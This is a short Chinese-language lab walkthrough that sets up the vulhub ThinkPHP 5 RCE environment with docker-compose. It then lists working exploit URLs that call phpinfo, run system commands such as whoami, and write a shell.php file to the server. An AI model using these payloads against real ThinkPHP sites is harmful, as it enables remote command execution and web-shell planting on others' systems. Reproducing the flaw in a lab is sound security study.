5-rce版本漏洞复现

首先进入靶场环境

cd /usr/local/vulhub/vulhub/thinkphp/5-rce(这个是我自己的路径，大家以自己的为主)

输入vim docker-compose.yml

将version改为“2”，:wq保存退出

接着执行

docker-compose up -d（在开启的时候要注意端口是否冲突，将自己之前的退出）

 

此时环境以成功搭建

漏洞复现

（1）输出关于 PHP 配置的信息

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

（2）whoami

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

（3）还可以将php代码写入文件

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>

接着访问shell.php